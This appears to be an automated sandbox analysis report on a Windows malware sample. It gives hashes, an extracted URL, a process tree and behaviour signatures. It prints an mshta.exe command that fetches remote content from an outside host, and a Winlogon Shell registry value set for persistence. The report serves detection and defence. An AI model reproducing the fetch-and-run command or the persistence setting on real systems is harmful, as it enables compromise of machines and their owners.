Analysis
-
max time kernel
150s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
27-02-2024 14:58
Behavioral task
behavioral1
Sample
a97294359020ade8b49e7189457a9fd8.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
a97294359020ade8b49e7189457a9fd8.exe
Resource
win10v2004-20240226-en
General
-
Target
a97294359020ade8b49e7189457a9fd8.exe
-
Size
765KB
-
MD5
a97294359020ade8b49e7189457a9fd8
-
SHA1
2e526abe4e64563e723c557a01106ea40559ffa3
-
SHA256
6d3239a0892bcb94b2a62d172790e5d433f4d6b32b8ecf8c9e963ea4e4a6f271
-
SHA512
0675699c1d1975ebea92c9d2468ccb6f4a6d5c5495cb89dd4c9811dbcb728530f0f0fef3447a6b153c397b9f519df22bc346bd872a0c4efb336ce1e0d6562e75
-
SSDEEP
12288:fSJsWPOGw+qKxNaLIym/P3BANlm2sjynU4q18ympGVZH6Uv/3xqkri/lUy7PU83F:fSrxELIyS3BAN82s0UnjgwBqLNUiM83U
Malware Config
Extracted
http://rerererererere.com/inst.php?id=forbidden
Signatures
-
Modifies WinLogon for persistence 2 TTPs 1 IoCs
Processes:
z.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\palladium.exe" z.exe -
Executes dropped EXE 1 IoCs
Processes:
z.exepid process 2508 z.exe -
Loads dropped DLL 3 IoCs
Processes:
a97294359020ade8b49e7189457a9fd8.exez.exepid process 1504 a97294359020ade8b49e7189457a9fd8.exe 1504 a97294359020ade8b49e7189457a9fd8.exe 2508 z.exe -
Processes:
resource yara_rule behavioral1/memory/1504-0-0x0000000000400000-0x000000000051B000-memory.dmp upx \Users\Admin\AppData\Roaming\z.exe upx behavioral1/memory/1504-17-0x0000000000400000-0x000000000051B000-memory.dmp upx behavioral1/memory/1504-12-0x0000000003230000-0x0000000003626000-memory.dmp upx behavioral1/memory/2508-20-0x0000000000400000-0x00000000007F6000-memory.dmp upx behavioral1/memory/2508-37-0x0000000000400000-0x00000000007F6000-memory.dmp upx behavioral1/memory/1504-38-0x0000000003230000-0x0000000003626000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Processes:
mshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3787592910-3720486031-2929222812-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
z.exepid process 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe 2508 z.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
z.exepid process 2508 z.exe 2508 z.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
a97294359020ade8b49e7189457a9fd8.exez.exedescription pid process target process PID 1504 wrote to memory of 2508 1504 a97294359020ade8b49e7189457a9fd8.exe z.exe PID 1504 wrote to memory of 2508 1504 a97294359020ade8b49e7189457a9fd8.exe z.exe PID 1504 wrote to memory of 2508 1504 a97294359020ade8b49e7189457a9fd8.exe z.exe PID 1504 wrote to memory of 2508 1504 a97294359020ade8b49e7189457a9fd8.exe z.exe PID 2508 wrote to memory of 2664 2508 z.exe mshta.exe PID 2508 wrote to memory of 2664 2508 z.exe mshta.exe PID 2508 wrote to memory of 2664 2508 z.exe mshta.exe PID 2508 wrote to memory of 2664 2508 z.exe mshta.exe PID 2508 wrote to memory of 2904 2508 z.exe cmd.exe PID 2508 wrote to memory of 2904 2508 z.exe cmd.exe PID 2508 wrote to memory of 2904 2508 z.exe cmd.exe PID 2508 wrote to memory of 2904 2508 z.exe cmd.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\a97294359020ade8b49e7189457a9fd8.exe"C:\Users\Admin\AppData\Local\Temp\a97294359020ade8b49e7189457a9fd8.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\z.exe"C:\Users\Admin\AppData\Roaming\z.exe" forbidden2⤵
- Modifies WinLogon for persistence
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" http://rerererererere.com/inst.php?id=forbidden3⤵
- Modifies Internet Explorer settings
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Roaming\dgfdgsdf.bat" "3⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\dgfdgsdf.batFilesize
167B
MD5e5a2cf708be039ebe72233673c1f2ac7
SHA1cca4b5f8c08e07779f4eddd7e3c960d7f68078f8
SHA2561f67a80290e77b7ec48c8b676bcc076ff5b271e2caf17352b1880d65a956e43c
SHA5120d47a1ccf419c4cb8fc1a25b35470ba3b51e49a6045fe1efcd533ebbe9d69a92a1a7b60f2666e1419613c0bd45ffd128623adb11c313c1b3749727f5a4a9f645
-
\Users\Admin\AppData\Roaming\z.exeFilesize
531KB
MD516324fc81aea75ee1b90fbe20eb91c00
SHA1d6cf3bd8d5febb790e1ff8dd39b378229e73462f
SHA2560f948ceb06d973c6276ffc742b18c638dc301576997dbb20b5802df6cb35a8d3
SHA512d5974f326b4d61743ee3f64e7de79fa105e03ce640555aeae823d2270ec915b795b8308f9291ee718dbdf0213e0eec425b7b97159b0c9c5c0131dcb204d501a6
-
memory/1504-17-0x0000000000400000-0x000000000051B000-memory.dmpFilesize
1.1MB
-
memory/1504-0-0x0000000000400000-0x000000000051B000-memory.dmpFilesize
1.1MB
-
memory/1504-12-0x0000000003230000-0x0000000003626000-memory.dmpFilesize
4.0MB
-
memory/1504-18-0x0000000003230000-0x0000000003626000-memory.dmpFilesize
4.0MB
-
memory/1504-1-0x0000000000320000-0x0000000000321000-memory.dmpFilesize
4KB
-
memory/1504-38-0x0000000003230000-0x0000000003626000-memory.dmpFilesize
4.0MB
-
memory/2508-20-0x0000000000400000-0x00000000007F6000-memory.dmpFilesize
4.0MB
-
memory/2508-21-0x0000000000230000-0x0000000000231000-memory.dmpFilesize
4KB
-
memory/2508-26-0x0000000003DC0000-0x0000000003DD0000-memory.dmpFilesize
64KB
-
memory/2508-37-0x0000000000400000-0x00000000007F6000-memory.dmpFilesize
4.0MB
-
memory/2508-40-0x0000000000230000-0x0000000000231000-memory.dmpFilesize
4KB
-
memory/2508-41-0x0000000003DC0000-0x0000000003DD0000-memory.dmpFilesize
64KB